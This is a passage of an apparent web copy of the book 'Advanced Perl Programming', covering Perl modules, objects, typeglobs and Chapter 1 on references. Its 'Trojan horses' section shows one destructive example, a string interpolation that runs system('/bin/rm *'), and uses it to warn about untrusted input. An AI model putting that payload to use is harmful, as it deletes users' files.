                  # non-zero, to indicate successful loading

  13. To load module Employee:

    use Employee;
#or
require Employee;

    Specify the load path with the -I command-line option, PERL5LIB environment variable, or @INC.

  14. Access foreign package's variables and subroutines with fully qualified names:

    print @Employee::employees;
Employee::print();

    Privacy is not enforced.

  15. If a subroutine is not found in that package, a default subroutine AUTOLOAD() is called, if present. $AUTOLOAD is set to the fully qualified name of the missing subroutine.

  16. To inherit module C from modules A and B, prime C's @ISA array with the names of its superclass modules:

    package A;
sub foo{ print "A::foo called \n";}
package C;
@ISA = ("A", "B");
C->foo();               # Calls A::foo, because B does not

Previous: B.3 Closures | Advanced Perl Programming | Next: B.5 Objects
B.3 Closures | Book Index | B.5 Objects


[Appendix B] B.5 Objects

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.5 Objects

Salient points:

  • A class is a package. There's no keyword such as struct or class to define layout of object.

  • You choose object representation - object layout is not dictated by you.

  • No special syntax for constructor. You choose the name of the subroutine that is going to allocate the object and return a blessed or typed reference to that object.

  17. Creating an OO package - Method 1 (see also #19).

    The C++ class:

    class Employee {
    String _name; int _age; double _salary;
    create (String n, int age) : _name(n), _age(age), _salary(0) {}
    ~Employee {printf ("Ahh ... %s is dying\n", _name)}
    set_salary (double new_salary) { this->_salary = new_salary}
};

    becomes:

    package Employee;
sub create {                # Allocator and Initializer
     my ($pkg, $name, $age) = @_;
     # Allocate anon hash, bless it, return it.
     return (bless {name => $name, age=> $age, salary=>0}, $pkg);
}
sub DESTROY {               # destructor (like Java's finalize)
    my $obj = shift;
    print "Ahh ... ", $obj->{name}, " is dying\n";
}
sub set_salary {
    my ($obj, $new_salary) = @_;
    $obj->{salary} = $new_salary; # Remember: $obj is ref-to-hash
    return $new_salary;
}

  18. Using object package:

    use Employee;
$emp = Employee->new("Ada", 35);
$emp->set_salary(1000);

  19. Creating OO package - Method 2 (see also #17). Inherit from ObjectTemplate, use the attributes method to declare attribute names, and obtain the constructor new and attribute accessor functions for free:

    package Employee;
use ObjectTemplate;
@ISA = ("ObjectTemplate");
attributes("name", "age", "salary");
sub DESTROY {
   my $obj = shift;
   print "Ahh ... ", $obj->name(), " is dying\n";
}
sub set_salary {
    my ($obj, $new_salary) = @_;
    $obj->salary($new_salary);
}

  20. Class methods:

    Employee->print();    # 1. "Arrow notation" used for class method
new Employee ();      # 2. Class method using "Indirect notation".

    These two class methods must expect the package name as the first parameter, followed by the rest of the arguments.

  21. Instance methods. There are two ways of invoking methods on an object:

    $emp->promote();
promote $obj;

Previous: B.4 Modules | Advanced Perl Programming | Next: B.6 Dynamic Behavior
B.4 Modules | Book Index | B.6 Dynamic Behavior


[Appendix B] B.6 Dynamic Behavior

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.6 Dynamic Behavior

  22. Symbolic references:

    $i = "foo";
$$i = 10;             # Sets $foo to 10
${"i"} = 10;          # Sets $foo to 10
&$i();                # Calls foo();
push (@$i, 10, 20);   # Pushes 10,20 into @foo

  23. Run-time expression evaluation:

    while (defined($str = <STDIN>)) {
    eval ($str);
    print "Error: $@" if $@;
}

    This is a tiny Perl shell, which reads standard input, treats $str as a small program, and puts the compilation and run-time errors in $@.

  24. Dynamic substitutions. Use the /e flag for the s/// operator, to specify an expression instead of a pattern:

    $l = "You owe me 400+100 dollars";
$l =~ s/(\d+)\+(\d+)/$1 + $2/e;
print $l; # prints "You own me 500 dollars"

  25. Module and object method invocations (see also #20 and #21):

    $modulename->foo(); # Calls foo() in the module indicated by
                    # $modulename

Previous: B.5 Objects | Advanced Perl Programming | Next: B.7 Exception Handling
B.5 Objects | Book Index | B.7 Exception Handling


[Appendix B] B.7 Exception Handling

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.7 Exception Handling

  26. die throws an exception, and eval traps it. Error string is found in $@. The following code has the possibility of two run-time errors:

    eval {
   $c = $a / $b;                                       #1
   die "Denominator cannot be negative" if ($b < 0);   #2
};
print "Run-time error: $@";

    $@ can be "Illegal division by zero" at (1) or "Denominator cannot be negative" at (2).

Previous: B.6 Dynamic Behavior | Advanced Perl Programming | Next: B.8 Meta-Information
B.6 Dynamic Behavior | Book Index | B.8 Meta-Information


[Appendix B] B.8 Meta-Information

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.8 Meta-Information

  27. Call-stack information. Use caller() to find out who's calling this subroutine:

        ($package, $file, $line) = caller();

  28. List of a package's global variables. For a package Foo, %Foo:: contains the symbol table, whose keys are names of global identifiers in that package and whose values are typeglobs.

  29. Find out what a reference contains. ref($r) returns undef if $r is an ordinary scalar, "SCALAR" if it is a reference to a scalar (similarly "ARRAY," "HASH," "CODE," and "REF") or the name of a package, if $r is a blessed object reference.

  30. Object information:

    $obj->isa("Foo"); # returns true if $obj inherits from Foo
$obj->can("bar"); # returns true if it supports method "foo"

Previous: B.7 Exception Handling | Advanced Perl Programming | Next: B.9 Typeglobs
B.7 Exception Handling | Book Index | B.9 Typeglobs


[Appendix B] B.9 Typeglobs

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.9 Typeglobs

  31. Typeglobs assignment aliases identifiers. In the following example, all identifiers named a (scalar, array, hash, subroutine, filehandle, format) are also available as b:

    *a = *b ;     # Alias
$b = 10;      # Same as modifying $a
b();          # Same as calling a()

  32. Selective aliasing:

    *a = \$b ;    # Only $a aliased to $b

  33. Constants:

    *a = \10;     # Alias a typeglob to a reference to a constant
$a = 20;      # Run-time error - "Attempt to modify read-only variable"

Previous: B.8 Meta-Information | Advanced Perl Programming | Next: B.10 Filehandles, Formats
B.8 Meta-Information | Book Index | B.10 Filehandles, Formats


[Appendix B] B.10 Filehandles, Formats

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

B.10 Filehandles, Formats

There are no direct ways of assigning filehandles or formats, passing them as parameters to subroutines, storing them in data structures, or localizing them. Instead, use the corresponding typeglobs.

Previous: B.9 Typeglobs | Advanced Perl Programming
B.9 Typeglobs | Book Index


[Chapter 1] Data References and Anonymous Storage

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.2 Using References

1. Data References and Anonymous Storage

Contents:
Referring to Existing Variables
Using References
Nested Data Structures
Querying a Reference
Symbolic References
A View of the Internals
References in Other Languages
Resources

If I were meta-agnostic, I'd be confused over whether I'm agnostic or not - but I'm not quite sure if I feel that way; hence I must be meta-meta-agnostic (I guess).

- Douglas R. Hofstadter, G胐el, Escher, Bach

There are two aspects (among many) that distinguish toy programming languages from those used to build truly complex systems. The more robust languages have:

  • The ability to dynamically allocate data structures without having to associate them with variable names. We refer to these as "anonymous" data structures.

  • The ability to point to any data structure, independent of whether it is allocated dynamically or statically.

COBOL is the one true exception to this; it has been a huge commercial success in spite of lacking these features. But it is also why you'd balk at developing flight control systems in COBOL.

Consider the following statements that describe a far simpler problem: a family tree.

Marge is 23 years old and is married to John, 24.
Jason, John's brother, is studying computer science at MIT. He is just 19.
Their parents, Mary and Robert, are both sixty and live in Florida.
Mary and Marge's mother, Agnes, are childhood friends.

Do you find yourself mentally drawing a network with bubbles representing people and arrows representing relationships between them? Think of how you would conveniently represent this kind of information in your favorite programming language. If you were a C (or Algol, Pascal, or C++) programmer, you would use a dynamically allocated data structure to represent each person's data (name, age, and location) and pointers to represent relationships between people.

A pointer is simply a variable that contains the location of some other piece of data. This location can be a machine address, as it is in C, or a higher-level entity, such as a name or an array offset.

C supports both aspects extremely efficiently: You use malloc(3)[1] to allocate memory dynamically and a pointer to refer to dynamically and statically allocated memory. While this is as efficient as it gets, you tend to spend enormous amounts of time dealing with memory management issues, carefully setting up and modifying complex interrelationships between data, and then debugging fatal errors resulting from "dangling pointers" (pointers referring to pieces of memory that have been freed or are no longer in scope). The program may be efficient; the programmer isn't.

[1] The number in parentheses is the Unix convention of referring to the appropriate section of the documentation (man pages). The number 3 represents the section describing the C API.

Perl supports both concepts, and quite well, too. It allows you to create anonymous data structures, and supports a fundamental data type called a "reference," loosely equivalent to a C pointer. Just as C pointers can point to data as well as procedures, Perl's references can refer to conventional data types (scalars, arrays, and hashes) and other entities such as subroutines, typeglobs, and filehandles.[2] Unlike C, they don't let you peek and poke at raw memory locations.

[2] We'll study the latter set in Chapter 3, Typeglobs and Symbol Tables.

Perl excels from the standpoint of programmer efficiency. As we saw earlier, you can create complex structures with very few lines of code because, unlike C, Perl doesn't expect you to spell out every thing. A line like this:

$line[19] = "hello";

does in one line what amounts to quite a number of lines in C - allocating a dynamic array of 20 elements and setting the last element to a (dynamically allocated) string. Equally important, you don't spend any time at all thinking about memory management issues. Perl ensures that a piece of data is deleted when no one is pointing at it any more (that is, it ensures that there are no memory leaks) and, conversely, that it is not deleted when someone is still pointing to it (no dangling pointers).

Of course, just because all this can be done does not mean that Perl is an automatic choice for implementing complex applications such as aircraft scheduling systems. However, there is no dearth of other, less complex applications (not just throwaway scripts) for which Perl can more easily be used than any other language.

In this chapter, you will learn the following:

  • How to create references to scalars, arrays, and hashes and how to access data through them (dereferencing).

  • How to create and refer to anonymous data structures.

  • What Perl does internally to help you avoid thinking about memory management.

1.1 Referring to Existing Variables

If you have a C background (not necessary for understanding this chapter), you know that there are two ways to initialize a pointer in C. You can refer to an existing variable:

int a, *p;
p = &a;  /* p now has the "address" of a */

The memory is statically allocated; that is, it is allocated by the compiler. Alternatively, you can use malloc(3) to allocate a piece of memory at run-time and obtain its address:

p = malloc(sizeof(int));

This dynamically allocated memory doesn't have a name (unlike that associated with a variable); it can be accessed only indirectly through the pointer, which is why we refer to it as "anonymous storage."

Perl provides references to both statically and dynamically allocated storage; in this section, we'll the study the former in some detail. That allows us to deal with the two concepts - references and anonymous storage - separately.

You can create a reference to an existing Perl variable by prefixing it with a backslash, like this:

# Create some variables
$a      = "mama mia";
@array  = (10, 20);
%hash   = ("laurel" => "hardy", "nick" =>  "nora");

# Now create references to them
$ra     = \$a;          # $ra now "refers" to (points to) $a
$rarray = \@array;
$rhash  = \%hash;

You can create references to constant scalars in a similar fashion:

$ra     = \10;
$rs     = \"hello world";

That's all there is to it. Since arrays and hashes are collections of scalars, it is possible to take a reference to an individual element the same way: just prefix it with a backslash:

$r_array_element = \$array[1];       # Refers to the scalar $array[1]

$r_hash_element  = \$hash{"laurel"}; # Refers to the scalar
                                     # $hash{"laurel"}

1.1.1 A Reference Is Just Another Scalar

A reference variable, such as $ra or $rarray, is an ordinary scalar - hence the prefix `$'. A scalar, in other words, can be a number, a string, or a reference and can be freely reassigned to one or the other of these (sub)types. If you print a scalar while it is a reference, you get something like this:

SCALAR(0xb06c0)

While a string and a number have direct printed representations, a reference doesn't. So Perl prints out whatever it can: the type of the value pointed to and its memory address. There is rarely a reason to print out a reference, but if you have to, Perl supplies a reasonable default. This is one of the things that makes Perl so productive to use. Don't just sit there and complain, do something. Perl takes this motherly advice seriously.

While we are on the subject, it is important that you understand what happens when references are used as keys for hashes. Perl requires hash keys to be strings, so when you use a reference as a key, Perl uses the reference's string representation (which will be unique, because it is a pointer value after all). But when you later retrieve the key from this hash, it will remain a string and will thus be unusable as a reference. It is possible that a future release of Perl may lift the restriction that hash keys have to be strings, but for the moment, the only recourse to this problem is to use the Tie::RefHash module presented in Chapter 9, Tie. I must add that this restriction is hardly debilitating in the larger scheme of things. There are few algorithms that require references to be used as hash keys and fewer still that cannot live with this restriction.

1.1.2 Dereferencing

Dereferencing means getting at the value that a reference points to.

In C, if p is a pointer, *p refers to the value being pointed to. In Perl, if $r is a reference, then $$r, @$r, or %$r retrieves the value being referred to, depending on whether $r is pointing to a scalar, an array, or a hash. It is essential that you use the correct prefix for the corresponding type; if $r is pointing to an array, then you must use @$r, and not %$r or $$r. Using the wrong prefix results in a fatal run-time error.

Think of it this way: Wherever you would ordinarily use a Perl variable ($a, @b, or %c), you can replace the variable's name (a, b, or c) by a reference variable (as long as the reference is of the right type). A reference is usable in all the places where an ordinary data type can be used. The following examples show how references to different data types are dereferenced.

1.1.3 References to Scalars

The following expressions involving a scalar,

$a += 2;
print $a;          # Print $a's contents ordinarily

can be changed to use a reference by simply replacing the string "a" by the string "$ra":

$ra = \$a;         # First take a reference to $a
$$ra  += 2;        # instead of $a += 2;
print $$ra;        # instead of print $a

Of course, you must make sure that $ra is a reference pointing to a scalar; otherwise, Perl dies with the run-time error "Not a SCALAR reference".

1.1.4 References to Arrays

You can use ordinary arrays in three ways:

  • Access the array as a whole, using the @array notation. You can print an entire array or push elements into it, for example.

  • Access single elements using the $array[$i] notation.

  • Access ranges of elements (slices), using the notation @array[index1,index2,...].

References to arrays are usable in all three of these situations. The following code shows an example of each, contrasting ordinary array usage to that using references to arrays:

$rarray = \@array;

push (@array , "a", 1, 2);   # Using the array as a whole
push (@$rarray, "a", 1, 2);  # Indirectly using the ref. to the array

print $array[$i] ;           # Accessing single elements
print $$rarray[1];           # Indexing indirectly through a
                             # reference: array replaced by $rarray

@sl =  @array[1,2,3];        # Ordinary array slice
@sl =  @$rarray[1,2,3];      # Array slice using a reference

Note that in all these cases, we have simply replaced the string array with $rarray to get the appropriate indirection.

Beginners often make the mistake of confusing array variables and enumerated (comma-separated) lists. For example, putting a backslash in front of an enumerated list does not yield a reference to it:

$s = \('a', 'b', 'c');      # WARNING: probably not what you think

As it happens, this is identical to

$s = (\'a', \'b', \'c');    # List of references to scalars

An enumerated list always yields the last element in a scalar context (as in C), which means that $s contains a reference to the constant string c. Anonymous arrays, discussed later in the section "References to Anonymous Storage," provide the correct solution.

1.1.5 References to Hashes

References to hashes are equally straightforward:

$rhash = \%hash;
print $hash{"key1"};        # Ordinary hash lookup
print $$rhash{"key1"};      # hash replaced by $rhash

Hash slices work the same way too:

@slice = @$rhash{'key1', 'key2'}; # instead of @hash{'key1', 'key2'}

A word of advice: You must resist the temptation to implement basic data structures such as linked lists and trees just because a pointerlike capability is available. For small numbers of elements, the standard array data type has pretty decent insertion and removal performance characteristics and is far less resource intensive than linked lists built using Perl primitives. (On my machine, a small test shows that inserting up to around 1250 elements at the head of a Perl array is faster than creating an equivalent linked list.) And if you want BTrees, you should look at the Berkeley DB library (described in Section 10.1, "Persistence Issues") before rolling a Perl equivalent.

1.1.6 Confusion About Precedence

The expressions involving key lookups might cause some confusion. Do you read $$rarray[1] as ${$rarray[1]} or {$$rarray}[1] or ${$rarray}[1]?

(Pause here to give your eyes time to refocus!)

As it happens, the last one is the correct answer. Perl follows these two simple rules while parsing such expressions: (1) Key or index lookups are done at the end, and (2) the prefix closest to a variable name binds most closely. When Perl sees something like $$rarray[1] or $$rhash{"browns"}, it leaves index lookups ([1] and {"browns"}) to the very end. That leaves $$rarray and $$rhash. It gives preference to the `$' closest to the variable name. So the precedence works out like this: ${$rarray} and ${$rhash}. Another way of visualizing the second rule is that the preference is given to the symbols from right to left (the variable is always to the right of a series of symbols).

Note that we are not really talking about operator precedence, since $, @ , and % are not operators; the rules above indicate the way an expression is parsed.

1.1.7 Shortcuts with the Arrow Notation

Perl provides an alternate and easier-to-read syntax for accessing array or hash elements: the ->[ ] notation. For example, given the array's reference, you can obtain the second element of the array like this:

$rarray = \@array;
print $rarray->[1] ;    # The "visually clean" way

instead of the approaches we have seen earlier:

print $$rarray[1];      # Noisy, and have to think about precedence
print ${$rarray}[1];    # The way to get tendinitis!

I prefer the arrow notation, because it is less visually noisy. Figure 1.1 shows a way to visualize this notation.

Figure 1.1: Visualizing $rarray->[1]

Similarly, you can use the ->{ } notation to access an element of a hash table:

$rhash = \%hash;
print $rhash->{"k1"};

#instead of ........
print $$rhash{"k1"};
# or
print ${$rhash}{"k1"};

Caution: This notation works only for single indices, not for slices. Consider the following:

print $rarray->[0,2]; # Warning: This is NOT an indirect array slice.

Perl treats the stuff within the brackets as a comma-separated expression that yields the last term in the array: 2. Hence, this expression is equivalent to $rarray->[2], which is an index lookup, not a slice. (Recall the rule mentioned earlier: An enumerated or comma-separated list always returns the last element in a scalar context.)

1.1.8 No Automatic Dereferencing

Perl does not do any automatic dereferencing for you.[3] You must explicitly dereference using the constructs just described. This is similar to C, in which you have to say *p to indicate the object pointed to by p. Consider

$rarray = \@array;
push ($rarray,  1, 2, 3);   # Error: $rarray is a scalar, not an array
push (@$rarray, 1, 2, 3);   # OK

[3] Except for filehandles, as we will see in Chapter 3.

push expects an array as the first argument, not a reference to an array (which is a scalar). Similarly, when printing an array, Perl does not automatically dereference any references. Consider

print "$rarray, $rhash";
This prints
ARRAY(0xc70858), HASH(0xb75ce8)

This issue may seem benign but has ugly consequences in two cases. The first is when a reference is used in an arithmetic or conditional expression by mistake; for example, if you said $a += $r when you really meant to say $a += $$r, you'll get only a hard-to-track bug. The second common mistake is assigning an array to a scalar ($a = @array) instead of the array reference ($a = \@array). Perl does not warn you in either case, and Murphy's law being what it is, you will discover this problem only when you are giving a demo to a customer.

Previous: Acknowledgments | Advanced Perl Programming | Next: 1.2 Using References
Acknowledgments | Book Index | 1.2 Using References


[Chapter 1] 1.2 Using References

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.2 Using References

References are absolutely essential for creating complex data structures. Since the next chapter is devoted solely to this topic, we will not say more here. This section lists the other advantages of Perl's support for indirection and memory management.

1.2.1 Passing Arrays and Hashes to Subroutines

When you pass more than one array or hash to a subroutine, Perl merges all of them into the @_ array available within the subroutine. The only way to avoid this merger is to pass references to the input arrays or hashes. Here's an example that adds elements of one array to the corresponding elements of the other:

@array1 = (1, 2, 3); @array2 = (4, 5, 6, 7);
AddArrays (\@array1, \@array2); # Passing the arrays by reference.
print "@array1 \n";
    sub AddArrays
{
        my ($rarray1, $rarray2) = @_;
        $len2 = @$rarray2;  # Length of array2
        for ($i = 0 ; $i  < $len2 ;  $i++) {
            $rarray1->[$i] += $rarray2->[$i];
        }
}

In this example, two array references are passed to AddArrays which then dereferences the two references, determines the lengths of the arrays, and adds up the individual array elements.

1.2.2 Performance Efficiency

Using references, you can efficiently pass large amounts of data to and from a subroutine.

However, passing references to scalars typically turns out not to be an optimization at all. I have often seen code like this, in which the programmer has intended to minimize copying while reading lines from a file:

while ($ref_line = GetNextLine()) {
        .....
        .....
}
    sub GetNextLine () {
        my $line = <F> ;
        exit(0) unless defined($line);
        .....
        return \$line;    # Return by reference, to avoid copying
}

GetNextLine returns the line by reference to avoid copying.

You might be surprised how little an effect this strategy has on the overall performance, because most of the time is taken by reading the file and subsequently working on $line. Meanwhile, the user of GetNextLine is forced to deal with indirections ($$ref_line) instead of the more straightforward buffer $line.[4]

[4] The operative word here is "typically." Most applications deal with lines 60-70 bytes long.

Incidentally, you can use the standard library module called Benchmark to time and compare different code implementations, like this:

use Benchmark;
timethis (100, "GetNextLine()"); # Call ProcessFile 100 times, and
                                 # time it

The module defines a subroutine called timethis that takes a piece of code, runs it as many times as you tell it to, and prints out the elapsed time. We'll cover the use statement in Chapter 6, Modules.

1.2.3 References to Anonymous Storage

So far, we have created references to previously existing variables. Now we will learn to create references to "anonymous" data structures - that is, values that are not associated with a variable.

To create an anonymous array, use square brackets instead of parentheses:

$ra = [ ];         # Creates an empty, anonymous array
                   # and returns a reference to it
$ra = [1,"hello"]; # Creates an initialized anonymous array
                   # and returns a reference to it

This notation not only allocates anonymous storage, it also returns a reference to it, much as malloc(3) returns a pointer in C.

What happens if you use parentheses instead of square brackets? Recall again that Perl evaluates the right side as a comma-separated expression and returns the value of the last element; $ra contains the value "hello", which is likely not what you are looking for.

To create an anonymous hash, use braces instead of square brackets:

$rh = { };                       # Creates an empty hash and returns a
                                 # reference to it
$rh = {"k1", "v1", "k2", "v2"};  # A populated anonymous hash

Both these notations are easy to remember since they represent the bracketing characters used by the two datatypes - brackets for arrays and braces for hashes. Contrast this to the way you'd normally create a named hash:

# An ordinary hash uses the prefix and is initialized with a list
# within parentheses
%hash = ("flock" => "birds", "pride" => "lions");

# An anonymous hash is a list contained within curly braces.
# The result of the expression is a scalar reference to that hash.
$rhash = {"flock" => "birds", "pride" => "lions"};

What about dynamically allocated scalars ? It turns out that Perl doesn't have any notation for doing something like this, presumably because you almost never need it. If you really do, you can use the following trick: Create a reference to an existing variable, and then let the variable pass out of scope.

{
    my $a = "hello world";  # 1
    $ra = \$a;              # 2
}
print "$$ra \n";            # 3

The my operator tags a variable as private (or localizes it, in Perl-speak). You can use the local operator instead, but there is a subtle yet very important difference between the two that we will clarify in Chapter 3. For this example, both work equally well.

Now, $ra is a global variable that refers to the local variable $a (not the keyword local). Normally, $a would be deleted at the end of the block, but since $ra continues to refer to it, the memory allocated for $a is not thrown away. Of course, if you reassign $ra to some other value, this space is deallocated before $ra is prepared to accept the new value.

You can create references to constant scalars like this:

$r = \10;  $rs = \"hello";

Constants are statically allocated and anonymous.

A reference variable does not care to know or remember whether it points to an anonymous value or to an existing variable's value. This is identical to the way pointers behave in C.

1.2.4 Dereferencing Multiple Levels of Indirection

We have seen how a reference refers to some other entity, including other references (which are just ordinary scalars). This means that we can have multiple levels of references, like this:

$a    = 10;
$ra   = \$a;     # reference to $a's value.
$rra  = \$ra;    # reference to a reference to $ra's value
$rrra = \$rra;   # reference to a reference to a reference ...

Now we'll dereference these. The following statements all yield the same value (that of $a):

print $a;        # prints 10. The following statements print the same.
print $$ra;      # $a seen from one level of indirection.
print $$$rra;    # replace ra with {$rra} : still referring
                 # to $a's value
print $$$$rrra;  # ... and so on.

Incidentally, this example illustrates a convention known to Microsoft Windows programmers as "Hungarian notation."[5] Each variable name is prefixed by its type ("r" for reference, "rh" for reference to a hash, "i" for integer, "d" for double, and so on). Something like the following would immediately trigger some suspicion:

$$rh_collections[0] = 10;     # RED FLAG : 'rh' being used as an array?
You have a variable called $rh_collections, which is presumably a reference to a hash because of its naming convention (the prefix rh), but you are using it instead as a reference to an array. Sure, Perl will alert you to this by raising a run-time exception ("Not an ARRAY reference at - line 2."). But it is easier to check the code while you are writing it than to painstakingly exercise all the code paths during the testing phase to rule out the possibility of run-time errors.

[5] After Charles Simonyi who started this convention at Microsoft. This convention is a topic of raging debates on the Internet; people either love it or hate it. Apparently, even at Microsoft, the systems folks use it, while the application folks don't. In a language without enforced type checking such as Perl, I recommend using it where convenient.

1.2.5 A More General Rule

Earlier, while discussing precedence, we showed that $$rarray[1] is actually the same as ${$rarray}[1]. It wasn't entirely by accident that we chose braces to denote the grouping. It so happens that there is a more general rule.

The braces signify a block of code, and Perl doesn't care what you put in there as long as it yields a reference of the required type. Something like {$rarray} is a straightforward expression that yields a reference readily. By contrast, the following example calls a subroutine within the block, which in turn returns a reference:

sub test {
    return \$a;      # returns a reference to a scalar variable
}
$a = 10;
$b = ${test()};      # Calls a subroutine test within the block, which
                     # yields a reference to $a
                     # This reference is dereferenced
print $b;            # prints "10"

To summarize, a block that yields a reference can occur wherever the name of a variable can occur. Instead of $a, you can have ${$ra} or ${$array[1]} (assuming $array[1] has a reference to $a), for example.

Recall that a block can have any number of statements inside it, and the last expression evaluated inside that block represents its result value. Unless you want to be a serious contender for the Obfuscated Perl contest, avoid using blocks containing more than two expressions while using the general dereferencing rule stated above.

1.2.5.1 Trojan horses

While we are talking about obfuscation, it is worth talking about a very insidious way of including executable code within strings. Normally, when Perl sees a string such as "$a", it does variable interpolation. But you now know that "a" can be replaced by a block as long as it returns a reference to a scalar, so something like this is completely acceptable, even within a string:

print "${foo()}";

Replace foo() by system ('/bin/rm *') and you have an unpleasant Trojan horse:

print "${system('/bin/rm *')}"

Perl treats it like any other function and trusts system to return a reference to a scalar. The parameters given to system do their damage before Perl has a chance to figure out that system doesn't return a scalar reference.

Moral of the story: Be very careful of strings that you get from untrusted sources. Use the taint-mode option (invoke Perl as perl -T) or the Safe module that comes with the Perl distribution. Please see the Perl documentation for taint checking, and see the index for some pointers to the Safe module.

Previous: 1.1 Referring to Existing Variables | Advanced Perl Programming | Next: 1.3 Nested Data Structures
1.1 Referring to Existing Variables | Book Index | 1.3 Nested Data Structures


[Chapter 1] 1.3 Nested Data Structures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.3 Nested Data Structures

Recall that arrays and hashes contain only scalars; they cannot directly contain another array or hash as such. But considering that references can refer to an array or a hash and that references are scalars, you can see how one or more elements in an array or hash can point to other arrays or hashes. In this section, we will study how to build nested, heterogeneous data structures.

Let us say we would like to track a person's details and that of their dependents. One approach is to create separate named hash tables for each person:

%sue = (              # Parent
    'name' => 'Sue',
    'age'  => '45');
%john = (             # Child
    'name' => 'John',
    'age'  => '20');
%peggy = (            # Child
    'name' => 'Peggy',
    'age'  => '16');

The structures for John and Peggy can now be related to Sue like this:

@children = (\%john, \%peggy);
$sue{'children'} = \@children;

# Or
$sue{'children'} = [\%john, \%peggy];

Figure 1.2 shows this structure after it has been built.

Figure 1.2: Mixing scalars with arrays and hashes.

This is how you can print Peggy's age, given %sue:

print $sue{children}->[1]->{age};

1.3.1 Implicit Creation of Complex Structures

Suppose the first line in your program is this:

$sue{children}->[1]->{age} = 10;

Perl automatically creates the hash %sue, gives it a hash element indexed by the string children, points that entry to a newly allocated array, whose second element is made to refer to a freshly allocated hash, which gets an entry indexed by the string age. Talk about programmer efficiency.

1.3.2 Final Shortcut: Omit Arrows Between Subscripts

While on the subject of programmer efficiency, let us discuss one more optimization for typing. You can omit -> if (and only if) it is between subscripts. That is, the following expressions are identical:

print $sue{children}->[1]->{age};
print $sue{children}[1]{age};

This is similar to the way C implements multidimensional arrays, in which every index except the last one behaves like a pointer to the next level (or dimension) and the final index corresponds to the actual data. The difference - which doesn't really matter at a usage level - between C's and Perl's approaches is that C treats an n-dimensional array as a contiguous stream of bytes and does not allocate space for pointers to subarrays, whereas Perl allocates space for references to intermediate single-dimension arrays.

Continuing from where we left off, you will find that even such a simple example benefits from using anonymous arrays and hashes, rather than named ones, as shown in the following snippet:

%sue = (                                    # Parent
    'name'     => 'Sue',
    'age'      => '45',
    'children' => [                         # Anon array of two hashes
                      {                     # Anon hash 1
                         'name' => 'John',
                         'age'  => '20'
                      },
                      {                     # Anon hash 2
                         'name' => 'Peggy',
                         'age'  => '16'
                      }
                  ]
);

This snippet of code contains only one named variable. The "children" attribute is a reference to an anonymous array, which itself contains references to anonymous hashes containing the children's details. This nesting can be as deep as you want; for example, you might represent John's educational qualifications as a reference to an anonymous array of hash records (each of which contain details of school attended, grade points, and so on). None of these arrays or hashes actually embed the next level hash or array; recall that the anonymous array and hash syntax yields references, which is what the containing structures see. In other words, such a nesting does not reflect a containment hierarchy. Try print values(%sue) to convince yourself.

It is comforting to know that Perl automatically deletes all nested structures as soon as the top-level structure (%sue) is deleted or reassigned to something else. Internal structures or elements that are are still referred to elsewhere aren't deleted.

Previous: 1.2 Using References | Advanced Perl Programming | Next: 1.4 Querying a Reference
1.2 Using References | Book Index | 1.4 Querying a Reference


[Chapter 1] 1.4 Querying a Reference

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.4 Querying a Reference

The ref function queries a scalar to see whether it contains a reference and, if so, what type of data it is pointing to. ref returns false (a Boolean value, not a string) if its argument contains a number or a string; and if it's a reference, ref returns one of these strings to describe the data being referred to: "SCALAR", "HASH", "ARRAY", "REF" (referring to another reference variable), "GLOB" (referring to a typeglob), "CODE" (referring to a subroutine), or "package name " (an object belonging to this package - we'll see more of it later).

$a = 10;
$ra = \$a;

ref($a) yields FALSE, since $a is not a reference.

ref($ra) returns the string "SCALAR", since $ra is pointing to a scalar value.

Previous: 1.3 Nested Data Structures | Advanced Perl Programming | Next: 1.5 Symbolic References
1.3 Nested Data Structures | Book Index | 1.5 Symbolic References


[Chapter 1] 1.5 Symbolic References

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.5 Symbolic References

Normally, a construct such as $$var indicates that $var is a reference variable, and the programmer expects this expression to return the value that was pointed to by $var when the references were taken.

What if $var is not a reference variable at all? Instead of complaining loudly, Perl checks to see whether $var contains a string. If so, it uses that string as a regular variable name and messes around with this variable! Consider the following:

$x = 10;
$var = "x";
$$var = 30;   # Modifies $x to 30 , because $var is a symbolic
              # reference !

When evaluating $$var, Perl first checks to see whether $var is a reference, which it is not; it's a string. Perl then decides to give the expression one more chance: it treats $var's contents as a variable identifier ($x). The example hence ends up modifying $x to 30.

It is important to note that symbolic references work only for global variables, not for those marked private using my.

Symbolic references work equally well for arrays and hashes also:

$var = "x";
@$var = (1, 2, 3);   # Sets @x to the enumerated list on the right

Note that the symbol used before $var dictates the type of variable to access: $$var is equivalent to $x, and @$var is equivalent to saying @x.

This facility is immensely useful, and, for those who have done this kind of thing before with earlier versions of Perl, is much more efficient than using eval. Let us say you want your script to process a command-line option such as "-Ddebug_level=3" and set the $debug_level variable. This is one way of doing it:

while ($arg = shift @ARGV){
    if ($arg =~ /-D(\w+)=(\w+)/) {
         $var_name = $1; $value = $2;
         $$var_name = $value;     # Or more compactly, $$1 = $2;
    }
}

On the other hand, Perl's eagerness to try its damnedest to get an expression to work sometimes doesn't help. In the preceding examples, if you expected the program logic to have a real reference instead of a string, then you would have wanted Perl to point it out instead of making assumptions about your usage. Fortunately, there's a way to switch this eagerness off. Perl has a number of compile-time directives, or pragmas. The strict pragma tells Perl to do strict error checking. You can even enumerate specific aspects to be strict about, one of which is `refs':

use strict 'refs';  # Tell Perl not to allow symbolic references
$var = "x";
$$var = 30;

This results in a run-time error whenever you try to use a symbolic reference:

Can't use string ("x") as a SCALAR ref while "strict refs" in use at try.pl line 3

The strict directive remains in effect until the end of the block. It can be turned off by saying no strict or, more specifically, no strict 'refs'.

Previous: 1.4 Querying a Reference | Advanced Perl Programming | Next: 1.6 A View of the Internals
1.4 Querying a Reference | Book Index | 1.6 A View of the Internals


[Chapter 1] 1.6 A View of the Internals

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.6 A View of the Internals

Let us now take a look inside Perl to understand how it manages memory. You can safely skip this section without loss of continuity.

